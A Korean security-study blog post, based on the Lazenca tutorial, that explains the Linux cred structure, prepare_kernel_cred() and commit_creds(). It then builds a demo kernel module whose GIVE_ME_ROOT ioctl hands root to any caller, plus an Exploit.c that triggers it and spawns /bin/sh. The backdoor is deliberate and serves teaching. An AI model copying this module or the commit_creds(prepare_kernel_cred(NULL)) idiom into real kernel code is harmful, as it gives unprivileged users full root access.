ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

[Lazenca][Development of Kernel Module] 04.Creating a kernel module to privilege escalation
background/linux kernel

[Lazenca][Development of Kernel Module] 04.Creating a kernel module to privilege escalation

2024. 3. 29. 01:32

Creating a kernel module to privilege escalation


Kernel Exploit시 반드시 알아야 하는 기본적인 함수는

prepare_kernel_cred(), commit_creds() 함수이다.

 

이번 예제는 해당 함수에 대한 이해와 해당 함수를 활용하여

권한상승을 일으키는 모듈을 만드는 것이다.

 

cred structuer


cred 구조체는 이렇게 생겼다.

가볍게 읽어보고 뒤에서 각 필드들이 뒤에 함수들에서 어떻게 사용되는지 살펴보자.

 

https://elixir.bootlin.com/linux/v4.18/source/include/linux/cred.h#L111

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
} __randomize_layout;

 

 

prepare_kernel_cred()


prepare_kernel_cred() 함수는 커널 서비스에 대한 자격 증명을 준비하며 다음과 같이 동작한다.

 

  • kmem_cache_alloc()에 의해 new 변수에 객체를 할당한다. 
  • daemon 인자의 값에 따라 다음과 같이 동작한다. 
    • daemon 인자의 값이 0(NULL)이 아닐 경우 get_task_cred()함수를 호출하여 전달된 프로세스의 자격 증명(credentials)을 old 변수에 저장한다. (전달된 게 있으면 그걸 저장해주나 봄)
    • daemon 인자의 값이 0일 경우 get_cred() 함수를 호출하여 init_cred의 자격 증명(credentials)을 old 변수에 저장한다. (전달된 거 없으면 기본 값 세팅 하나 봄)
  • validate_creds() 함수에 의해 전달된 자격 증명(old)의 유효성을 검사한다.
  • atomic_set()함수에 의해 "&new→usage" 영역에 1이 설정된다.
  • set_cred_subscribers() 함수를 이용하여 "&cred→subscribers" 영역에 0이 설정된다. 
  • get_uid(), get_user_ns(), get_group_info() 새 자격 증명의 uid, user namespace, group info를 조회한다.
  • security_prepare_creds() 함수를 이용하여 현재 프로세스의 자격 증명을 변경한다.
  • put_cred() 함수를 이용하여 현재 프로세스가 이전에 참조한 자격 증명을 해제한다.
  • validate_creds() 함수에 의해 전달된 자격 증명(new)의 유효성을 검사한다.

https://elixir.bootlin.com/linux/v4.18/source/kernel/cred.c#L595

struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
    const struct cred *old;
    struct cred *new;
 
    new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
    if (!new)
        return NULL;
 
    kdebug("prepare_kernel_cred() alloc %p", new);
 
    if (daemon)
        old = get_task_cred(daemon);
    else
        old = get_cred(&init_cred);
 
    validate_creds(old);
 
    *new = *old;
    atomic_set(&new->usage, 1);
    set_cred_subscribers(new, 0);
    get_uid(new->user);
    get_user_ns(new->user_ns);
    get_group_info(new->group_info);
 
#ifdef CONFIG_KEYS
    new->session_keyring = NULL;
    new->process_keyring = NULL;
    new->thread_keyring = NULL;
    new->request_key_auth = NULL;
    new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif
 
#ifdef CONFIG_SECURITY
    new->security = NULL;
#endif
    if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
        goto error;
 
    put_cred(old);
    validate_creds(new);
    return new;
 
error:
    put_cred(new);
    put_cred(old);
    return NULL;
}
EXPORT_SYMBOL(prepare_kernel_cred);

 

init_cred 구조체는 다음과 같이 프로세스의 초기 자격 증명 정보를 가지고 있다.
여기서 중요한 것은 uid, gid, suid, sgid, 등의 값이 Root 권한으로 설정되어 있다는 것이다.
즉, prepare_kernel_cred() 함수 호출시 인자 값으로 NULL(0)을 전달하면 Root권한의 자격 증명을 얻을 수 있다.

 

https://elixir.bootlin.com/linux/v4.18/source/kernel/cred.c#L44

struct cred init_cred = {
    .usage          = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
    .subscribers        = ATOMIC_INIT(2),
    .magic          = CRED_MAGIC,
#endif
    .uid            = GLOBAL_ROOT_UID,
    .gid            = GLOBAL_ROOT_GID,
    .suid           = GLOBAL_ROOT_UID,
    .sgid           = GLOBAL_ROOT_GID,
    .euid           = GLOBAL_ROOT_UID,
    .egid           = GLOBAL_ROOT_GID,
    .fsuid          = GLOBAL_ROOT_UID,
    .fsgid          = GLOBAL_ROOT_GID,
    .securebits     = SECUREBITS_DEFAULT,
    .cap_inheritable    = CAP_EMPTY_SET,
    .cap_permitted      = CAP_FULL_SET,
    .cap_effective      = CAP_FULL_SET,
    .cap_bset       = CAP_FULL_SET,
    .user           = INIT_USER,
    .user_ns        = &init_user_ns,
    .group_info     = &init_groups,
};

 

https://elixir.bootlin.com/linux/v4.3/source/include/linux/uidgid.h#L54

#define GLOBAL_ROOT_UID KUIDT_INIT(0)
#define GLOBAL_ROOT_GID KGIDT_INIT(0)

 

https://elixir.bootlin.com/linux/v4.3/source/include/linux/uidgid.h#L20

typedef struct {
    uid_t val;
} kuid_t;
 
 
typedef struct {
    gid_t val;
} kgid_t;
 
#define KUIDT_INIT(value) (kuid_t){ value }
#define KGIDT_INIT(value) (kgid_t){ value }

 

 

commit_creds()


commit_creds() 함수는 현재 프로세스에 새 자격 증명을 적용하며, 다음과 같이 동작한다.

  • current가 가지고 있는 현재 프로세스의 정보를 task에 저장한다.
  • task 구조체를 이용하여 현재 프로세스의 사용 중인 자격 증명 정보를 old 변수에 저장한다.
  • BUG_ON() 함수를 이용하여 다음과 같은 사항을 확인한다.
    • "task->cred"과 "old"의 자격증명이 다른지 확인한다.
    • "&new→usage"에 저장된 값이 1보다 작은지 확인한다.
  • get_cred() 함수를 이용하여 new 변수에 저장된 자격 증명에 참조된 정보를 가져온다.
  • uid_eq(), gid_eq() 함수를 이용하여 다음과 같은 구조체 내에 저장된 변수의 값을 확인한다.
    • euid, egid는 유효 사용자 식별자(effective user ID, euid)로 프로세스가 파일에 대해 가지는 권한을 의미한다.
    • fsuid는 리눅스에는 파일 시스템 접근 제어 용도로 사용되는 파일 시스템 사용자 ID(file system user ID, fsuid)를 말한다.
      • old->euid, new→euid
      • old->egid, new→egid
      • old->fsuid, new→fsuid
      • old->fsgid, new→fsgid
  • cred_cap_issubset() 함수를 이용하여 두 자격 증명이 동일한 사용자 네임 스페이스에 있는지 확인한다.
  • 또 다시 uid_eq(), gid_eq() 함수를 이용하여 다음과 같은 구조체 내에 저장된 변수의 값을 확인한다.
    • new→fsuid, old→fsuid
    • new→fsgid, old→fsgid
    • 비교 값이 다를 경우 key_fsuid_changed(), key_fsgid_changed() 함수를 이용하여 현재 프로세스의 fsuid, fsgid으로 값을 갱신한다.
  • alter_cred_subscribers() 함수를 이용하여 new 구조체에서 subscribers 변수에 2를 더한다.
  • rcu_assign_pointer() 함수를 이용하여 현재 프로세스의 "task->real_cred", "task→cred" 영역에 새로운 자격 증명을 등록한다.
  • alter_cred_subscribers() 함수를 이용하여 old 구조체에서 subscribers 변수에 -2를 더한다.
  • put_cred() 함수를 이용하여 이전에 사용된 자격 증명을 모두(old obj and subj refs) 해제한다. 

https://elixir.bootlin.com/linux/v4.18/source/kernel/cred.c#L423

int commit_creds(struct cred *new)
{
    struct task_struct *task = current;
    const struct cred *old = task->real_cred;
 
    kdebug("commit_creds(%p{%d,%d})", new,
           atomic_read(&new->usage),
           read_cred_subscribers(new));
 
    BUG_ON(task->cred != old);
#ifdef CONFIG_DEBUG_CREDENTIALS
    BUG_ON(read_cred_subscribers(old) < 2);
    validate_creds(old);
    validate_creds(new);
#endif
    BUG_ON(atomic_read(&new->usage) < 1);
 
    get_cred(new); /* we will require a ref for the subj creds too */
 
    /* dumpability changes */
    if (!uid_eq(old->euid, new->euid) ||
        !gid_eq(old->egid, new->egid) ||
        !uid_eq(old->fsuid, new->fsuid) ||
        !gid_eq(old->fsgid, new->fsgid) ||
        !cred_cap_issubset(old, new)) {
        if (task->mm)
            set_dumpable(task->mm, suid_dumpable);
        task->pdeath_signal = 0;
        smp_wmb();
    }
 
    /* alter the thread keyring */
    if (!uid_eq(new->fsuid, old->fsuid))
        key_fsuid_changed(task);
    if (!gid_eq(new->fsgid, old->fsgid))
        key_fsgid_changed(task);
 
    /* do it
     * RLIMIT_NPROC limits on user->processes have already been checked
     * in set_user().
     */
    alter_cred_subscribers(new, 2);
    if (new->user != old->user)
        atomic_inc(&new->user->processes);
    rcu_assign_pointer(task->real_cred, new);
    rcu_assign_pointer(task->cred, new);
    if (new->user != old->user)
        atomic_dec(&old->user->processes);
    alter_cred_subscribers(old, -2);
 
    /* send notifications */
    if (!uid_eq(new->uid,   old->uid)  ||
        !uid_eq(new->euid,  old->euid) ||
        !uid_eq(new->suid,  old->suid) ||
        !uid_eq(new->fsuid, old->fsuid))
        proc_id_connector(task, PROC_EVENT_UID);
 
    if (!gid_eq(new->gid,   old->gid)  ||
        !gid_eq(new->egid,  old->egid) ||
        !gid_eq(new->sgid,  old->sgid) ||
        !gid_eq(new->fsgid, old->fsgid))
        proc_id_connector(task, PROC_EVENT_GID);
 
    /* release the old obj and subj refs both */
    put_cred(old);
    put_cred(old);
    return 0;
}
EXPORT_SYMBOL(commit_creds);

 

 

LPE Example


commit_creds(), prepare_kernel_cred() 함수를 이용하여 ROOT 권한을 획득해보는 예제다.

이전 예제 03.ioctl(Input/Output control)에서 사용한 Example 코드에 기능을 추가하였다.

 

ioctl의 코맨트 매크로를 이용하여 "GIVE_ME_ROOT" 라는 명령을 추가하였다.

chardev_ioctl() 함수는 "GIVE_ME_ROOT" 라는 커맨드가 전달되면 다음 코드를 실행한다.

commit_creds(prepare_kernel_cred(NULL));

이 코드가 핵심인데 prepare_kernel_cred(NULL)로 init_cred(루트 권한)를 할당 받은 뒤

commit_creds()로 루트 권한을 적용시킬 수 있다.


escalation.c

#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>
#include <linux/cred.h>
   
#include "escalation.h"
MODULE_LICENSE("Dual BSD/GPL");
   
#define DRIVER_NAME "chardev"
       
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 1;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
  
static int     chardev_open(struct inode *, struct file *);
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static long chardev_ioctl(struct file *, unsigned int, unsigned long);
  
struct file_operations s_chardev_fops = {
    .open    = chardev_open,
    .release = chardev_release,
    .read    = chardev_read,
    .write   = chardev_write,
    .unlocked_ioctl = chardev_ioctl,
};
  
static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    int minor = 0;
    dev_t dev;
   
    printk("The chardev_init() function has been called.");
       
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
   
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &s_chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
   
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
   
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
   
    device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor);
    return 0;
}
   
static void chardev_exit(void)
{
    int minor = 0;
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
       
    printk("The chardev_exit() function has been called.");
  
    device_destroy(chardev_class, MKDEV(chardev_major, minor));
   
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}
  
static int chardev_open(struct inode *inode, struct file *file)
{
    printk("The chardev_open() function has been called.");
    return 0;
}
   
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_close() function has been called.");
    return 0;
}
   
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    printk("The chardev_write() function has been called."); 
    return count;
}
   
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
    printk("The chardev_read() function has been called.");
    return count;
}
   
static struct ioctl_info info;
static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    printk("The chardev_ioctl() function has been called.");
   
    switch (cmd) {
        case SET_DATA:
            printk("SET_DATA\n");
            if (copy_from_user(&info, (void __user *)arg, sizeof(info))) {
                return -EFAULT;
            }
        printk("info.size : %ld, info.buf : %s",info.size, info.buf);
            break;
        case GET_DATA:
            printk("GET_DATA\n");
            if (copy_to_user((void __user *)arg, &info, sizeof(info))) {
                return -EFAULT;
            }
            break;
        case GIVE_ME_ROOT:
            printk("GIVE_ME_ROOT\n");
            commit_creds(prepare_kernel_cred(NULL));
            return 0;
 
        default:
            printk(KERN_WARNING "unsupported command %d\n", cmd);
   
        return -EFAULT;
    }
    return 0;
}
  
module_init(chardev_init);
module_exit(chardev_exit);

 

GIVE_ME_ROOT는 _IO(입력, 출력)으로 설정하고 인자 값은 없다.

escalation.h

#ifndef CHAR_DEV_H_
#define CHAR_DEV_H_
#include <linux/ioctl.h>
  
struct ioctl_info{
       unsigned long size;
       char buf[128];
};
   
#define             IOCTL_MAGIC         'G'
#define             SET_DATA            _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info)
#define             GET_DATA            _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info)
#define             GIVE_ME_ROOT        _IO(IOCTL_MAGIC, 0)
#endif

 

Makefile

obj-m = escalation.o
  
all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
  
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

 

테스트 프로그램은 다음과 같이 동작한다.

 

  • open() 함수를 이용하여 "/dev/chardev0" 파일을 열어 fd값을 얻는다.
  • ioctl() 함수를 이용하여 해당 프로세스에서 ROOT 권한을 얻기 위해 fd, "GIVE_ME_ROOT"을 인자 값으로 전달한다.
  • close() 함수를 이용하여 fd를 닫는다.
  • execl() 함수를 이용하여 "/bin/sh" 명령을 실행한다.

Exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
 
#include "escalation.h"
 
void main()
{
    int fd, ret;
 
    fd = open("/dev/chardev0", O_NOCTTY);
    if (fd < 0) {
        printf("Can't open device file\n");
        exit(1);
    }
 
    ret = ioctl(fd, GIVE_ME_ROOT);
    if (ret < 0) {
        printf("ioctl failed: %d\n", ret);
        exit(1);
    }
    close(fd);
 
    execl("/bin/sh", "sh", NULL);
}

 

 

Make & Run


다음과 같이 모듈이 정상적으로 빌드되고 커널에 등록되는 것을 확인할 수 있다.

sudo rmmod chardev 해줘야 함

 

테스트 프로그램을 실행하면 쉘이 실행되고, 해당 쉘의 권한이 root인 것을 확인할 수 있다.

와우

 


 

https://www.lazenca.net/display/TEC/04.Creating+a+kernel+module+to+privilege+escalation

 

04.Creating a kernel module to privilege escalation - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Creating a kernel module to privilege escalation Kernel Exploit시 반드시 알아야 하는 기본적인 함수는 prepare_kernel_cred(), commit_creds() 함수입니다.이번 장에서는 해

www.lazenca.net

 

'background > linux kernel' 카테고리의 다른 글

Linux Kernel Debugging (with VMware)  (1) 2024.04.03
Linux Kernel Debugging (with QEMU)  (0) 2024.04.02
[Lazenca][Development of Kernel Module] 03.ioctl(Input/Output control)  (0) 2024.03.28
[Lazenca][Development of Kernel Module] 02.Character Device Drivers  (0) 2024.03.28
[Linux Kernel] Device Driver  (0) 2024.03.28
    'background/linux kernel' 카테고리의 다른 글
    • Linux Kernel Debugging (with VMware)
    • Linux Kernel Debugging (with QEMU)
    • [Lazenca][Development of Kernel Module] 03.ioctl(Input/Output control)
    • [Lazenca][Development of Kernel Module] 02.Character Device Drivers
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바